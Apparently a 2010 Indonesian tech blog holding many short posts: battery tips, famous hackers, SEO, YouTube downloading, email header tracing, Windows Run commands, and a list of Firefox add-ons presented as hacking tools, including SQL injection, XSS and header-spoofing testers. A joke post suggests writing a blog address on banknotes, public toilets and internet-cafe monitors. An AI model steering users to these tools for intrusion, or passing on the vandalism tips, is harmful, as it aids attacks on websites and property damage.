7.Dengan password tersebut lakukan penghapusan password “Remove Password” untuk menghilangkan kunci (lock password) pada MMC.

Selamat Mencoba y Bro Semoga Sukses dan Sharing di Blog ini Jika ada Kendala dan Masukan Tips Yang Lainnya.

Cara Menghemat Baterai Laptop

2010-05-09T00:04:00.002-07:00

Baterai lAPTOP merupakan salah satu komponen yang paling Penting agar bisa menggunakannya secara mobile.Jika "Baterai" Laptop Sobat sudah Soak alias Aus maka penggunaanya sudah tidak akan efisien dan mobilitasnya akan kurang.Sekedar informasi saja kemarin menanyakan Baterai Laptop dengan Merek "X" (ga mau Iklan) harganya di Atas 1 Juta.Berikut merupakan beberapa Tips yang dapat anda Coba untuk menghemat Baterai Laptop.
1. Redup layar
Layar/Screen adalah salah satu daya/arus laptop yang paling kuat menyedot Baterai.

2. Mengubah pengaturan daya
Jika Sobat menggunakan Windows Vista hadir dengan beberapa fitur kekuatan yang menyedot Arus yang besar, yang memungkinkan Anda untuk menambah dgn susah payah agar performa terbaik dapat terwujud.

3. Matikan Wi-Fi
Salah satu baterai sappers adalah kemampuan jaringan nirkabel yang di rancang khusus buat laptop.Banyak laptop memiliki fungsi tombol yang memungkinkan anda untuk menonaktifkan Adaptor nirkabel secara manual.Jika hal ini terjadi, cukup pergi ke Control Panel, mengakses menu dan Jaringan Sambungan menonaktifkan koneksi nirkabel Anda secara manual.

4. Nonaktifkan periferal
Menggunakan USB peripheral dapat mengajukan emigrasi besar di sistem anda,Stick USB, mouse dan webcam yang umum offenders, jadi menyalin semua informasi di seluruh perangkat dan mengeluarkan arus secepat mungkin, dan meletakkan dengan laptop anda atas lagu pads mouse USB. Banyak laptop memiliki fungsi tombol untuk menonaktifkan built-in webcam.

5. Eject disk drive anda
Jika sobat tidak lagi menggunakan USB (Flashdisk) dan memasukkan CD (Compact Disk) sebaiknya di Remove/Reject untuk mengurangi pengeluaran Arus listrik.

6.Menambah beberapa Hardware yang mendukung dan dapat menyimpan Arus lebih Lama
jika anda perlu menggunakan laptop anda bekerja sepanjang hari, Anda akan memerlukan bantuan. Kebanyakan laptop pabrikan hanya menyediakan enam sel baterai, tetapi banyak produsen menawarkan delapan-atau bahkan 12-sel opsional upgrade, yang memiliki daya ganda Listrik. Alternatif untuk baterai laptop mahal adalah produk seperti Philips Portable Power Pack, yang akan memberikan nilai ekstra jam untuk semua perangkat. Philips yang merupakan unit yang kompak baterai yang paling adaptors untuk laptop dan ponsel, yang cukup portabel untuk ditempatkan di saku celana sobat

7. Menonaktifkan fitur
Windows Vista memiliki beberapa fitur built-in, namun banyak memakan arus listrik pada sistem yang tak perlu ketika sobat menjalankan beberapa aplikasi secara bersamaan.Gunakan Cara sederhana mematikan Windows Aero dan Windows Sidebar.

14 Hacker terpopuler dunia

2010-05-09T00:04:00.001-07:00

Hacker adalah orang yang mempelajari, menganalisa, dan selanjutnya bila menginginkan, bisa membuat, memodifikasi, atau bahkan mengeksploitasi sistem yang terdapat di sebuah perangkat seperti perangkat lunak komputer dan perangkat keras komputer seperti program komputer, administrasi dan hal-hal lainnya , terutama keamanan.

Berikut beberapa profile 14 Hacker Terbaik Dunia untuk saat ini :
1. Kevin Mitnick
Kevin adalah hacker pertama yang wajahnya terpampang dalam poster “FBI Most Wanted”.Kevin juga seorang “Master of Deception” dan telah menulis buku yang berjudul “The Art of Deception”.Buku ini menjelaskan berbagai teknik social engineering untuk mendapatkan akses ke dalam sistem.
2. Linus Torvalds
Seorang hacker sejati, mengembangkan sistem operasi Linux yang merupakan gabungan dari “LINUS MINIX”.Sistem operasi Linux telah menjadi sistem operasi “standar” hacker.Bersama Richard Stallman dengan GNU-nya membangun Linux versi awal dan berkolaborasi dengan programmer, developper dan hacker seluruh dunia untuk mengembangkan kernel Linux.
3. John Draper
Penemu nada tunggal 2600 Herz menggunakan peluit plastik yang merupakan hadiah dari kotak sereal.Merupakan pelopor penggunaan nada 2600 Hz dan dikenal sebagai Phone Phreaker (Phreaker, baca: frieker)Nada 2600 Hz digunakan sebagai alat untuk melakukan pemanggilan telepon gratis.Pada pengembangannya, nada 2600 Hz tidak lagi dibuat dengan peluit plastik, melainkan menggunakan alat yang disebut “Blue Box”.
4. Mark Abene
Sebagai salah seorang “Master of Deception” phiber optik, menginspirasikan ribuan remaja untuk mempelajari sistem internal telepon negara. Phiber optik juga dinobatkan sebagai salah seorang dari 100 orang jenius oleh New York Magazine.
Menggunakan komputer Apple , Timex Sinclair dan Commodore 64.
Komputer pertamanya adalah Radio Shack TRS-80 (trash-80).

5. Robert Morris
Seorang anak dari ilmuwan National Computer Security Center yang merupakan bagian dari National Security Agencies (NSA).
Pertama kali menulis Internet Worm yang begitu momental pada tahun 1988.
Meng-infeksi ribuan komputer yang terhubung dalam jaringan.
6. Richard Stallman
Salah seorang “Old School Hacker”, bekerja pada lab Artificial Intelligence MIT.Merasa terganggu oleh software komersial dan dan hak cipta pribadi.Akhirnya mendirikan GNU (baca: guhNew) yang merupakan singkatan dari GNU NOT UNIX.Menggunakan komputer pertama sekali pada tahun 1969 di IBM New York Scintific Center saat berumur 16 tahun.
7. Kevin Poulsen
Melakukan penipuan digital terhadap stasiun radio KIIS-FM, memastikan bahwa ia adalah penelpon ke 102 dan memenangkan porsche 944 S2.
8. Ian Murphy
Ian Muphy bersama 3 orang rekannya, melakukan hacking ke dalam komputer AT&T dan menggubah seting jam internal-nya.Hal ini mengakibatkan masyarakat pengguna telfon mendapatkan diskon “tengah malam” pada saat sore hari, dan yang telah menunggu hingga tengah malam harus membayar dengan tagihan yang tinggi.
9. Vladimir Levin
Lulusan St. Petersburg Tekhnologichesky University.Menipu komputer CitiBank dan meraup keuntungan 10 juta dollar.Ditangkap Interpol di Heathrow Airport pada tahun 1995
10. Steve Wozniak
Membangun komputer Apple dan menggunakan “blue box” untukkepentingan sendiri.
11. Tsutomu Shimomura
Berhasil menangkap jejak Kevin Mitnick.
12. Dennis Ritchie dan Ken Thomson
Dennis Ritchie adalah seorang penulis bahasa C, bersama Ken Thomson menulis sistem operasi UNIX yang elegan.
13. Eric Steven Raymond
Bapak hacker. Seorang hacktivist dan pelopor opensource movement.Menulis banyak panduan hacking, salah satunya adalah: “How To Become A Hacker” dan “The new hacker’s Dictionary”.
Begitu fenomenal dan dikenal oleh seluruh masyarakat hacking dunia.Menurut Eric, “dunia mempunyai banyak persoalan menarik danmenanti untuk dipecahkan”.
14. Johan Helsingius
Mengoperasikan anonymous remailer paling populer didunia.

Cara Mencuri Perhatian Google

2010-05-09T00:01:00.001-07:00

Saya pernah mencoba Iseng-iseng menetes Isi Content Blog Saya apakah Terindeks Google dengan Baik apa Tidak.3 Hari Setelah Memposting Artikel Saya dengan Keyword" 37 Kelebihan dan Manfaat Linux" ternyata terindeks berada di Halaman 1 Google Baris Pertama. 2 Hari kemudian saya Tes dengan Keyword yang sama Ternyata Turun menjadi Halaman 1 Baris ke 3.Mengapa Bisa Demikian??Ternyata ada Yang Mengcopas Artikel Saya sehingga peringkat di Google menjadi Turun.Saya Bukan Mempermasalahkan Yang "Meng-COPAS" artikel milik saya tapi mengapa Google lebih mengedepankan Postingan Yang "Fresh" walaupun "COPAS".Setelah melakukan Observasi ternyata Penyebabnya adalah Googlebot.Googlebot adalah robot yang di kirimkan oleh Google untuk mengambil informasi baik berupa Postingan maupun Link yang Masuk yang update/Fresh dari Blog maupun website Sobat.(Dengan Catatan Website/Blog Sobat sudah Terindex Oleh Google).

Googlebot sendiri terbagi menjadi 2 Jenis, Yaitu :
Deepbot
Deepbot mencoba untuk mengikuti setiap link dalam sebuah website dan men-download sebanyak mungkin halaman website anda. Proses ini akan selesai sekitar sebulan sekali

Freshbot
Freshbot meng-crawl website dan mencari fresh content. Freshbot mengunjungi website yang frekwensi berubahnya tinggi, tergantung seberapa frekwebsi berubahnya, jika frekwensi content website anda tinggi maka Fresh bot akan sering datang ke rumah anda, Googlebot hanya mengikuti Href link dan SRC link.

So Kesimpulan yang bisa saya Ambil(Kesimpulan dr seorang Newbie.... Bagi yang sudah Master Tolong di Benarkan atau di Tambahkan) :
1) Rajinlah Untuk Memposting Suatu Artikel Kalau bisa sih setiap Hari dan Content Kalau Bisa juga Original Sehingga Freshbot bisa sering singgah di Blog anda.(Percaya atau Tidak Google sangat Menyukai Artikel Yang Masih Fresh)

2) Rajinlah Untuk meningalkan Jejak berupa Link sobat (Sebaiknya Berupa Komentar Jangan Hanya Di Buku Tamu Saja) Karena Googlebot Yang singgah di Blog yang sudah kita berikan komentar tadi akan meelusuri Link Komentar yang Masuk dan sobat tinggal menunggu Giliran Dan Antrian Saja untuk di Singgahi Oleh Googlebot.

3) Jangan Terlalu Sering Memposting Berita yang sudah "BASI" alias Postingan "Copas" kecuali memang Terpaksa karena Sulitnya mencari "Inspirasi" suatu Postingan.Google adalah Mesin Pencari yang sangat Pintar dan Genius dia tidak bisa di Bohongi oleh siapapun.Google bisa saja menurunkan Peringakat Blog maupun Website Anda dan kemungkinan Terparah di "Banned" jika Postingan anda Hasil "Copas".

4) Jika Sobat Pernah Memperhatikan Banner "Googlebot Last Acces" pasti selalu berbeda-beda kapan terakhir kalinya Googlebot masuk ke Blog Sobat.Jika sobat melihat ada Blog yang memasang Banner "Googlebot Last Acces" lihat kapan terakhir kalinya Tanggal Googlebot masuk ke Blog Tersebut dan Jangan Tunggu Lama silahkan Berikan Komentar ataupun Mintalah Untuk Tukaran Link.

Mungkin Itu saja yang Bisa saya Ceritakan kepada Sobat Semua.Jika ada Tambahan dan Perbaikan silahkan Isi Komentar Sobat demi Pencerahan Bersama.

"Warning"
Anda Boleh COPAS dan Publish Ulang Asalkan Mencantumkan Link Original Blog Ini.

Trik Mempromosikan Web dan Blog

2010-05-08T23:59:00.001-07:00

Siapa sih yang tidak ingin Blog maupun Web nya Terkenal dan banyak pengunjungnya?Apa keuntungan yang di dapat dari banyaknya pengunjung dan banjirnya Traffik web maupun di Blog anda?Anda bisa membuat Space dan Banner iklan yang bagi orang awam dan netter pemula akan penasaran dengan Banner yang di buat dan otomatis akan meng-klik iklan dan bisnis Online yang refferalnya ID anda yang ber-omzet Miliaran rupiah perbulan..hehe..So saya bukanlah Master SEO yang dengan skill programmingnya maupun keyword unik (Hot, Bokep , 3GP, Bugil, sexy, dll yang berbau Prostitusi alias mesum biasanya laku) bisa membuat Web maupun Blognya berada di halaman 1 Google.Saya hanyalah Blogger pemula yang mencoba dan belajar.Berikut merupakan Trik Gokil untu mempromosikan Web maupun Blog anda :

1)Uang kertas yang mau kita pakai untuk belanja tuliskan alamat Blog anda.Saran saya sih uang seribu kertas saja karena sering beredar di Masyrakat dari seluruh lapisan.
Misal : http://tugaslogikaku.blogspot.com ==> Ga akan Nyesal kok buka situs ini..hehe

2)Kamar mandi atau WC umum–kan biasanya banyak banget tuh coretannya–sekalian aja ikutan coretin pakai nama blog kita. Misal : http://tugaslogikaku.blogspot.com

3)Bagi anda yang jago Nyanyi asal tidak Fales nyanyilah dengan sekencang-kencangnya dan di akhiri dengan kata Kunjungi Blog saya y..

4)Cantumin di Blog anda nama tokoh yang bergelut di dunia IT.katakan bahwa anda adalah muridnya.Misal : Blog ini sudah mendapat Lisensi dari Bill Gates untuk terus membantu mencerdaskan kehidupan Bangsa..hehe..

5)Tato tubuh dengan tulisan alamat Url blog anda. terus pergi main bola atau futsal tanpa baju..Mau..mau..mau??

6)Kirimkan SMS sebanyak-banyaknya(Manfaatkan Bonus SMS dan Gratis SMS) dan Balas SMS teman anda. "Maaf y saya sedang sibuk nih buat Blog dan Blogwalking...Hubungi saya di Kolom Komentar kalau tidak di Shoutmix (Buku Tamu)..Thanx y..(Tunggu reaksinya dan blzan smsnya....psti ketawa deh..saya sudah mempraktekkan Trik ini.

7)Mungkin ini Extreme dan tidak di anjurkan..Saat ke warnet tulislah di dinding, maupun di Monitor komputer menggunakan Spidol tinta permanen alamat Blog anda.

8)Tempelkan Brosur maupun Sticker di Mading sekolah atau Mading Kampus.Jika memang Berniat jangan Lupa tempelkan juga di Tiang Listrik dan ATM..hehe..

9)Di acara radio On Air-in alamat Blog kamu.Sudah ga jaman On air No Telp, FS ,dan YM.

10)Buat pesan panggilan tidak terjawab. "Maaf y saya lagi posting artikel terbaru nih hubungi saya di Shoutmix http:tugaslogikaku.blogspot.com
11)Jika ada yang Demonstrasi menuntut Haknya...Anda ikutan saja nimbrung Demo dan bawa Poster dan spanduk anda yang bertuliskan Alamat Blog anda. (Resiko di tanggung sendiri Devit ga ikut-ikutan)

Sebenarnya masih banyak ide gila saya mempromosikan Blog tapi karena saya mengidolakan angka 11 makanya Trik Gokilnya ada 11...hehe..^_^

Kalau saya boleh jujur dari 11 Trik tersebut yang sudah saya lakukan :
* No.1 Kalau anda menemukan uang seribu kertas bertuliskan (http://tugaslogikaku.blogspot.com itu uang saya..^_^
* No.3 dan No.6

So Hidup jangan terlalu serius Enjoy aja...

Cara Download Video Youtube

2010-05-08T23:57:00.001-07:00

Siapa sih yang tidak tahu Youtube??Hampir semua Netter bisa di pastikan mengenal Youtube. Youtube adalah Website Video Sharing terbesar se-Antero.Youtube memberikan Fasilitas Download Video Gratis/Free tetapi tidak segampang mendownload File yang sudah tersimpan dan di Upload di media penyimpanan data Online yang banyak tersebar di beberapa situs penyimpanan Online.Cara mendownload Youtube harus mengunakan software tambahan baik yang berupa Add ons browser maupun tidak.Banyak Orang yang ingin mengetahui Bagaimana Cara Mendownload Video yang ada di Yutube.Berikut beberapa Cara yang sering saya gunakan sehari-hari dalam mendownload Video dari Youtube, MySpace, Goegle Video, dan Lainya.Silahkan Pilih beberapa Cara yang menurut anda lebih mudah di gunakan dan di mengerti.

1) Fast Video Download
Caranya sangat mudah…
1. Pertama kamu harus punya browsernya yakni firefox 2 atau Firefox 3 Silahkan Download Langsung dari situs resmi Firefox.
2. Tambahkan add on Fast Video Download Download
3. Setelah selesai mendownload restart firefox 2 atau Firefox 3
4. Jika berhasil maka icon (lihat gambar dibawah) akan muncul di taskbar pojok kanan bawah.

Cara pemakaiannya?
*. Kunjungi You Toube
* Sesampai di halaman yang mengandung video embeded maka klik icon Fast Video Download. Maka Firefox akan langsung mendownloadnya.
* Kalau gagal ulang kliknya.
Format video yang berasal dari Yout Tube adalah FLV
Itulah kenapa saya sangat suka dengan firefox. Karena kita bisa menambahakn fitur2 baru (add on) pada browser tersebut.

2) Orbit Downloader
download manager yang dapat digunakan untuk mendownload file-file Video.SilahkanDownloadlangsung dari situs aslinya.Setelah diinstall, pastikan bahwa fitur browser monitoring telah diaktifkan, khusunya untuk browser-browser yang biasa kita gunakan. Ini dapat dilakukan melalui:
*) menu Tools — Preferences - monitoring - Browser Integration pastikan untuk memberi tanda centang pada pilihan browser yang digunakan.Misalnya ada Pilihan Firefox maka anda langsung mencentangnya sesuai browser yang anda gunakan.
*) Setelah itu, ketika kita membuka browser dan mengakses YouTube, pada halaman video akan nampak tanda panah. Itulah tombol dari Orbit untuk memulai proses download video.Klik saja tanda panah Tersebut.
*) Format video yang didownload dari YouTube adalah FLV, dan untuk dapat memutar video tersebut dalam komputer, diperlukan FLV player, dan salah satunya sudah pula ditunjukkan oleh Orbit Downloader

3) KissYouTube
cara bagaimana mendownload klip video dari You Tube. Ketika menonton sebuah klip video di You Tube, URL-nya akan seperti
http://www.youtube.com/watch?v=xxxxx, misalnya:
http://www.youtube.com/watch?v=yJTwT2bJhrg
Nah untuk mendownload, tinggal tambahkan “kiss” didepan “youtube” dalam URL-nya, jadi seperti ini:
http://www.kissyoutube.com/watch?v=yJTwT2bJhrg

Catatan : Tidak semua Video bisa di download menggunakan cara menambahkan "kiss".

Convert Data Online

2010-05-08T23:55:00.002-07:00

Anda ingin berniat mengubah atau mengkonversi data anda ke dalam bentuk Portable ke document atau sebaliknya tetapi tidak memiliki Softwarena.Sekarang ini ada beberapa Situs secara Online yang akan melayani permintaan anda untuk mengkonversi suatu data secara Online.Maksud saya di sini adalah mengubah suatu Document yang yang berbentuk Microsoft Office Word(.*doc) ke dalam bentuk Portable Document Format (PDF).Berikut merupakan sejumlah situs Online yang melayani Konversi data.

1. freepdfconvert
Layanan online ini khusus untuk mengkonversi PDF dan hasilnya bisa dipilih dalam format doc, xls atau rtf. Selain mampu mengkonversi dari file yang kita upload, juga mampu mengkonversi PDF dari alamat URL (Link) yang diberikan.Hasil dapat dikirimkan ke email atau langsung di download (akan dihapus dalam waktu 24 jam).

2. zamzar

Dengan zamzar, kita tinggal mengupload dokumen melalui halaman awal dan hasil konversi akan dikirimkan ke email yang harus diisikan sebelum di konversi. Zamzar mendukung konversi berbagai format, mencakup Documen, Image , Audio, Video, Compressed formats (Archive) dan juga format CAD

3. media-convert
Selain mampu mengkonversi berbagai format dokumen termasuk PDF, media converter juga mampu mengkonversi format lainnya, seperti Archive, Movie, Image, Sound serta ringtones. Berbeda dengan Zamzar, Media-convert akan memberikan hasil konversi langsung, yang bias di download. Dan link tersebut akan dihapus setelah 24 jam.

4. pdfundo
PDFUndo memberikan layanan online free untuk mengkonversi PDF ke word, tidak memerlukan email atau registrasi. Kita tinggal upload dokumen PDF dan jika konversi telah selesai kita bisa download hasilnya.

Pengenalan Bahasa Pemrograman Web

2010-05-08T23:55:00.001-07:00

Bahasa Pemograman berbasis Web memang sangat familiar dan menjadi suatu trend di kalangan pemula seperti saya ini.Banyak software yang berbasis pembuatan Web seperti frontpage , Dreamweaver, dan Joomla yang databasenya menggunakan PHP dan MySql.Ada beberapa struktur pemahaman tentang bahasa pemograman yang berbasis Web yang digunakan dalam pembuatan suatu website maupun Blog yang harus dipahami dasar-dasarnya.Berikut merupakan bahasa pemrograman yang berbasis Web.
1. Bahasa Pemrograman HTML
HyperText Markup Language (HTML) adalah sebuah bahasa markup yang digunakan untuk membuat sebuah halaman web dan menampilkan berbagai informasi di dalam sebuah browser Internet.HTML saat ini merupakan standar Internet yang didefinisikan dan dikendalikan penggunaannya oleh World Wide Web Consortium (W3C).HTML berupa kode-kode tag yang menginstruksikan browser untuk menghasilkan tampilan sesuai dengan yang diinginkan.Sebuah file yang merupakan file HTML dapat dibuka dengan menggunakan browser web seperti Mozilla Firefox atau Microsoft Internet Explorer.

2. Bahasa Pemrograman PHP
PHP adalah bahasa pemrograman script yang paling banyak dipakai saat ini.
PHP pertama kali dibuat oleh Rasmus Lerdorf pada tahun 1995. Pada waktu itu PHP masih bernama FI (Form Interpreted), yang wujudnya berupa sekumpulan script yang digunakan untuk mengolah data form dari web.PHP banyak dipakai untuk membuat situs web yang dinamis, walaupun tidak tertutup kemungkinan digunakan untuk pemakaian lain.PHP biasanya berjalan pada sistem operasi linux (PHP juga bisa dijalankan dengan hosting windows).

3. Bahasa Pemrograman Javascript
Javascript adalah bahasa scripting yang handal yang berjalan pada sisi client.JavaScript merupakan sebuah bahasa scripting yang dikembangkan oleh Netscape.Untuk menjalankan script yang ditulis dengan JavaScript kita membutuhkan JavaScript-enabled browser yaitu browser yang mampu menjalankan JavaScript.

4. Bahasa Pemrograman CSS
Cascading Style Sheets (CSS) adalah suatu bahasa stylesheet yang digunakan untuk mengatur tampilan suatu dokumen yang ditulis dalam bahasa markup.Penggunaan yang paling umum dari CSS adalah untuk memformat halaman web yang ditulis dengan HTML dan XHTML.Walaupun demikian, bahasanya sendiri dapat dipergunakan untuk semua jenis dokumen XML termasuk SVG dan XUL.Spesifikasi CSS diatur oleh World Wide Web Consortium (W3C).

5. Bahasa Pemrograman ASP
ASP adalah singkatan dari Active Server Pages yang merupakan salah satu bahasa pemograman web untuk menciptakan halaman web yang dinamis.ASP merupakan salah satu produk teknologi yang disediakan oleh Microsoft.ASP bekerja pada web server dan merupakan server side scripting.

6. Bahasa Pemrograman XML
Extensible Markup Language (XML) adalah bahasa markup serbaguna yang direkomendasikan W3C untuk mendeskripsikan berbagai macam data.XML menggunakan markup tags seperti halnya HTML namun penggunaannya tidak terbatas pada tampilan halaman web saja.XML merupakan suatu metode dalam membuat penanda/markup pada sebuah dokumen.

7. Bahasa Pemrograman WML
WML adalah kepanjangan dari Wireless Markup Language, yaitu bahasa pemrograman yang digunakan dalam aplikasi berbasis XML (eXtensible Markup Langauge).WML ini adalah bahasa pemrograman yang digunakan dalam aplikasi wireless.WML merupakan analogi dari HTML yang berjalan pada protocol nirkabel.

8. Bahasa Pemrograman PERL
Perl adalah bahasa pemrograman untuk mesin dengan sistem operasi Unix (SunOS, Linux, BSD, HP-UX), juga tersedia untuk sistem operasi seperti DOS, Windows, PowerPC, BeOS, VMS, EBCDIC, dan PocketPC.PERL merupakan bahasa pemograman yang mirip bahasa pemograman C.

9. Bahasa Pemrograman CFM
Cfm dibuat menggunakan tag ColdFusion dengan software Adobe ColdFusion / BlueDragon / Coldfusion Studio.Syntax coldfusion berbasis html.

Mozila Adds On Hacking

2010-05-08T23:54:00.001-07:00

Mozilla add Ons adalah Tools atau software tambahan yang langsung Plugin terhadap Mozilla.Berdasarkan pengalaman jangan menginstall mozilla add Ons terlalu banyak karena dapat membuat Browsing menjadi lama.Install beberapa Mozilla add Ons yang benar sesuai dengan kebutuhan dan kepentingan.Dalam melakukan Hacking atau Cracking seorang Hacker atau Cracker sering menggunakan beberapa Mozilla add Ons baik yang digunakan Newbie(Hacker Pemula) maupun Hacker yang sudah advance.Jika anda ingin mencobanya silahkan Install dan download langsung dari situsnya.Berikut merupakan daftar Mozilla add Ons Hacking:

Fire Encrypter 4.0
https://addons.mozilla.org/en-US/firefox/addon/3208

Advanced Dork: 2.3.3.4
https://addons.mozilla.org/en-US/firefox/addon/3208

hackbar:
https://addons.mozilla.org/en-US/firefox/addon/3899

Find in Frame Hack:
https://addons.mozilla.org/en-US/firefox/addon/1075

firebug:
https://addons.mozilla.org/en-US/firefox/addon/1843

anonymouser:
https://addons.mozilla.org/en-US/firefox/addons/versions/1415

live http header:
https://addons.mozilla.org/en-US/firefox/addon/3829

web developer:
https://addons.mozilla.org/firefox/addon/60

downthemall:
https://addons.mozilla.org/en-US/firefox/addon/201

firePHP:
https://addons.mozilla.org/en-US/firefox/addon/6149

foxTOR:
https://addons.mozilla.org/en-US/firefox/addon/3606

cookieSwap:
https://addons.mozilla.org/en-US/firefox/addon/3255

Anonymization Toolbar:
https://addons.mozilla.org/en-US/firefox/addon/2217

Slavehack Toolbar:
https://addons.mozilla.org/en-US/firefox/addon/4190

Page Hacker:
https://addons.mozilla.org/en-US/firefox/addon/5753

PasswordMaker:
https://addons.mozilla.org/en-US/firefox/addon/469

SQL Inject Me:
https://addons.mozilla.org/en-US/firefox/addon/7597

XSS Me:
https://addons.mozilla.org/en-US/firefox/addon/7598

refspoof:
https://addons.mozilla.org/en-US/firefox/addon/4513

X-Forwarded-For Spoofer:
https://addons.mozilla.org/en-US/firefox/addon/5948

Modify Headers:
https://addons.mozilla.org/en-US/firefox/addon/967

X-Forwarded-For Spoofer:
https://addons.mozilla.org/en-US/firefox/addon/5948

Warning : Gunakan Ilmu anda untuk Hal yang Positif.

Menjawab Email Otomatis

2010-05-08T23:52:00.004-07:00

Trik ini berguna bagi anda yang sedang sibuk, sedang berlibur. yang dalam jangka waktu yang lama tidak dapat terkoneksi dengan jaringan Internet.Sering kali tidak sempat membalas pesan yang masuk ke alamat email ataupun melakukan pemberitahuan maupun konfirmasi kepada pengirim email.Berikut Trik menjawab pesan yang masuk ke Email secara otomatis.

1. Pertama-tama buka Email yahoo dulu dan login dengan browser favourite anda
2. Klik Option yang ada di sebelah kanan Atas
3. Pilih Mail Option
3. Setelah kamu klik Mail Option,pilih Vacation Response yang berada di bawah.
4. Tentukan tanggal durasi liburan anda, atur sesuai masa kepergian anda
5. Jangan lupa ketikkan pesan dibawahnya,maka si pengirim akan menerima e mail kita
6. Aktifkan fitur ini dengan cara mengklik Turn Auto Respone On

Warning :Berdasarkan pengalaman saya Pesan akan di kirimkan ke seluruh pengirim email dengan jawaban yang sama maka daripada itu pesan yang anda kirimkan setinglah dengan kata2 pemberitahuan.Selamat Mencoba semoga Sukses..Jangan Lupa Comment y..^_^

Melacak Ip Pengirim Email

2010-05-08T23:52:00.003-07:00

Sering kali kita menerima pesan yang masuk ke alamat email bahkan pesan yang berupa SPAM (Pesan yang di anggap Sampah biasanya berupa Iklan).Berikut merupakan Tips untuk mengetahui IP address dari manakah asal pengirim email:
Yahoo Mail.
1. Login ke account email anda ( http://mail.yahoo.com/ ).
2. Masuk ke inbox dan buka salah satu email yang ingin anda lihat.
3. Pada pojok kanan bawah cari menu tulisan “Full Headers” dan klik tulisan tersebut.
4. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Gmail / Google Mail.
1. Login ke account email anda ( http://gmail.com/ ).
2. Masuk ke inbox
3. Buka salah satu email yang ingin anda lihat,
4. Lihat kanan di bagian atas ada pilihan Reply, terus disamping tulisan Reply ada tanda panah ke bawah, klik tanda panah tersebut dan pilih Show Original.
5. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Hotmail.
1. Login ke account email anda ( http://hotmail.com/ ).
2. Buka salah satu email yang ingin anda lihat
3. Klik kanan email tersebut dan pilih View Source.
4. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Outlook Express.
1. Buka program Outlook Express dan login ke email anda.
2. Klik kanan pada salah satu email yang ingin anda lihat.
3. Klik menu Properties.
4. Klik tab Detail.
5. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Microsoft Outlook.
1. Buka program Outlook Express dan login ke email anda.
2. Klik kanan pada salah satu email yang ingin anda lihat dan pilih Options
3. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Membuat Huruf Terbalik

2010-05-08T23:52:00.001-07:00

Mungkin anda sudah tau tips/trik ini membuat huruf terbalik..Sekedar tambahan saja ternyata ada 3 situs yang saya tau menyediakan tools tulisan terbalik.Misalnya saya menulis "Halo apa kabar Dunia?" tulisannya menjadi terbalik "¿ɐıunp ɹɐqɐʞ ɐdɐ olɐɥ".Cara ini sangat mudah kok setelah browsing dari beberapa situs yang menyediakan layanan Tulisan terbalik secara Online ditemukan 3 Situs salah 1 nya situs buatan dalam negeri.Berikut merupakan Situs yang menyediakan layanan "Tulisan Terbalik" :

1) fliptext
2 intifadha
(Ini dia Situs Buatan anak Indonesia)
3) livejournal

Warning : Sebenarnya tujuan tulisan ini adalah untuk seni dan keunikan tulisan itu sendiri tetapi sebaiknya jangan digunakan untuk mengirim pesan ke orang lain y karena kasihan orangnya disiksa di suruh baca kebalik juga..hehe...Udah ah..salam sukses y..

Command Rund Pada Windows

2010-05-08T23:49:00.000-07:00

Run adalah suatu Tools pada Windows yang bertujuan untuk memanggil suatu program atau aplikasi dengan menggunakan Perintah atau Comment.Ada beberapa aplikasi atau program yang di Hidden/di sembunyikan oleh Windows dan inilah peranan Tools Run untuk memanggil program tersebut.Berikut merupakan command/perintah pada Run Windows :

Accessibility Controls = access.cpl
Add Hardware Wizard = hdwwiz.cpl
Add/Remove Programs = appwiz.cpl
Administrative Tools = control admintools
Automatic Updates = wuaucpl.cpl
Bluetooth Transfer Wizard = fsquirt
Calculator = calc

Certificate Manager = certmgr.msc
Character Map = charmap
Check Disk Utility = chkdsk
ciadv.msc = Indexing Service
Clipboard Viewer = clipbrd
Command Prompt = cmd
Component Services = dcomcnfg
Computer Management = compmgmt.msc
Date and Time Properties = timedate.cpl
DDE Shares = ddeshare
Device Manager = devmgmt.msc
Direct X Control Panel (If Installed)* = directx.cpl
Direct X Troubleshooter = dxdiag
Disk Cleanup Utility = cleanmgr
Disk Defragment = dfrg.msc
Disk Management = diskmgmt.msc
Disk Partition Manager = diskpart
Display Properties = control desktop/desk.cpl
Dr. Watson System Troubleshooting Utility = drwtsn32
Driver Verifier Utility = verifier
Event Viewer = eventvwr.msc
Open explore windows = Explore.exe
File Signature Verification Tool = sigverif
Findfast = findfast.cpl
Folders Properties = control folders
Fonts = control fonts
Fonts Folder = fonts
Free Cell Card Game = freecell
Game Controllers = joy.cpl
Group Policy Editor (XP Prof) = gpedit.msc
Hearts Card Game = mshearts
Iexpress Wizard = iexpress
Indexing Service = ciadv.msc
Internet Properties = inetcpl.cpl
IP Configuration = ipconfig
Java Control Panel (If Installed) = jpicpl32.cpl
Java Application Cache Viewer (If Installed) = javaws
Keyboard Properties = control keyboard
Local Security Settings = secpol.msc
Local Users and Groups = lusrmgr.msc
Logs You Out Of Windows = logoff
Microsoft Chat = winchat
Minesweeper Game = winmine
Mouse Properties = control mouse
Mouse Properties = main.cpl
Network Connections = control netconnections
Network Connections = ncpa.cpl
Network Setup Wizard = netsetup.cpl
Notepad = notepad
Nview Desktop Manager (If Installed) = nvtuicpl.cpl
Object Packager = packager
ODBC Data Source Administrator = odbccp32.cpl
On Screen Keyboard = osk
Opens AC3 Filter (If Installed) = ac3filter.cpl
Password Properties = password.cpl
Performance Monitor = perfmon.msc
Performance Monitor = perfmon
Phone and Modem Options = telephon.cpl
Power Configuration = powercfg.cpl
Printers and Faxes = control printers
Printers Folder = printers
Private Character Editor = eudcedit
Quicktime (If Installed) = QuickTime.cpl
Regional Settings = intl.cpl
Registry Editor = regedit
Registry Editor = regedit32
Remote Desktop = mstsc
Removable Storage = ntmsmgr.msc
Removable Storage Operator Requests = ntmsoprq.msc
Resultant Set of Policy (XP Prof) = rsop.msc
Scanners and Cameras = sticpl.cpl
Scheduled Tasks = control schedtasks
Security Center = wscui.cpl
Services = services.msc
Shared Folders = fsmgmt.msc
Shuts Down Windows = shutdown
Sounds and Audio = mmsys.cpl
Spider Solitare Card Game = spider
SQL Client Configuration = cliconfg
System Configuration Editor = sysedit
System Configuration Utility = msconfig
System File Checker Utility = sfc
System Properties = sysdm.cpl
Task Manager = taskmgr
Telnet Client = telnet
User Account Management = nusrmgr.cpl
Utility Manager = utilman
